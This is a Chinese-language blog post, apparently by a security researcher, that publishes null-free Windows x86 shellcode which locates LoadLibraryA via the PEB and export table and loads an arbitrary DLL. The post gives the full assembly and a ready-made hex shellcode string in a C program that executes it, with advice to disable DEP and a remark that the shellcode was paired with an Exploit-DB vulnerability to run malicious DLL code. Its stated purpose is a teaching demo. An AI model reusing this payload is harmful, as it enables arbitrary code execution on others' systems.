Windows x86 LoadLibraryA Shellcode(Null-Free)

murmur

因為部分課程緣故需要展示 Buffer Overflow 可以幹嘛,但是不想包太長的 Shellcode、單純 Demo 彈小算盤好像又太弱了XD。所以拿網路上別人寫好的 Shellcode 小改了一下,分享出來原始 Assembly Code 方便之後有需要的人可以做修改、開發自己的 Shellcode。

Cheat Engine AutoASM 腳本

// windows x86 LoadLibraryA("xxx.dll")
// author: aaaddress1@chroot.org
alloc(script, 1024)

script:
xor edx,edx
mov dl,30
mov edx,fs:[edx]
mov edx,[edx+0C]
mov edx,[edx+1C]
mov eax,[edx+08]
mov esi,[edx+20]
mov edx,[edx]
cmp byte ptr [esi+0C], 33 /* kernel'3'2.dll -> 0x33 */
db 75 f2 // jne -0x0d

mov    edi,eax //eax = handle of kernel32.dll
add    edi,DWORD PTR [eax+0x3c]
mov    edx,DWORD PTR [edi+0x78]
add    edx,eax
mov    edi,DWORD PTR [edx+0x20]
add    edi,eax
xor    ebp,ebp
mov    esi,DWORD PTR [edi+ebp*4]
add    esi,eax
inc    ebp
//esi = API name
cmp    DWORD PTR [esi],0x64616f4c
db 75 f2
cmp    DWORD PTR [esi+0x8],0x41797261
db 75 e9

mov    edi,DWORD PTR [edx+0x24]
add    edi,eax
mov    bp,WORD PTR [edi+ebp*2] //bp = index

mov    edi,DWORD PTR [edx+0x1c]
add    edi,eax // Export Table: uint32_t Address[]

mov    edi,[edi+ebp*4-04]
add    edi,eax // Address of LoadLibraryA = edi

push 0x7f6c6c64 // dll\x20
push 0x2e787878 // xxx.
xor dword ptr [esp+07],0x7f
push esp
call edi

HEX Shellcode

當然大部分人應該沒那個需求要小改,
純粹 Demo 的話可以參考下面我已經幫你轉好的十六進位 Shellcode 字串直接使用:

// LoadLibraryA Shellcode Null-Free
// Author: aaaddress1@chroot.org
int main(void) {
 
 char shellcode[] =
  "\x31\xD2\xB2\x30\x64\x8B\x12\x8B" \
  "\x52\x0C\x8B\x52\x1C\x8B\x42\x08" \
  "\x8B\x72\x20\x8B\x12\x80\x7E\x0C" \
  "\x33\x75\xF2\x8B\xF8\x03\x78\x3C" \
  "\x8B\x57\x78\x01\xC2\x8B\x7A\x20" \
  "\x01\xC7\x31\xED\x8B\x34\xAF\x01" \
  "\xC6\x45\x81\x3E\x4C\x6F\x61\x64" \
  "\x75\xF2\x81\x7E\x08\x61\x72\x79" \
  "\x41\x75\xE9\x8B\x7A\x24\x01\xC7" \
  "\x66\x8B\x2C\x6F\x8B\x7A\x1C\x01" \
  "\xC7\x8B\x7C\xAF\xFC\x01\xC7\x68" \
  "\x64\x6C\x6C\x7F\x68\x78\x78\x78" \
  "\x2E\x83\x74\x24\x07\x7F\x54\xFF" \
  "\xD7";
  
 printf("length: %i\n", strlen(shellcode));
 ((void(*)())shellcode)();
}
上面的程式碼存成 *.cpp 拿個隨便編譯器跑起來會像下面這樣
(喔對,記得 DEP 要關喔)

效果


底下是我拿 2016 隨便一個 Exploit-DB 上挖來的漏洞小改一下,大概像這樣XD
Shellcode 觸發後會去載入 xxx.dll,就可以在 DLL 內塞髒東西跑起來啦。

留言

張貼留言

這個網誌中的熱門文章

[C#] Lambda花式應用噁爛寫法(跨UI委派秒幹、多線程處理...etc)

[Black Asia Arsenal] puzzCode: 專注開發後門的編譯器, 自帶反逆向、對抗病毒特徵碼定位技術

[Windows] 逆向工程 C++ 中入口函數參數 main(argc, argv) 與如何正確的進行參數劫持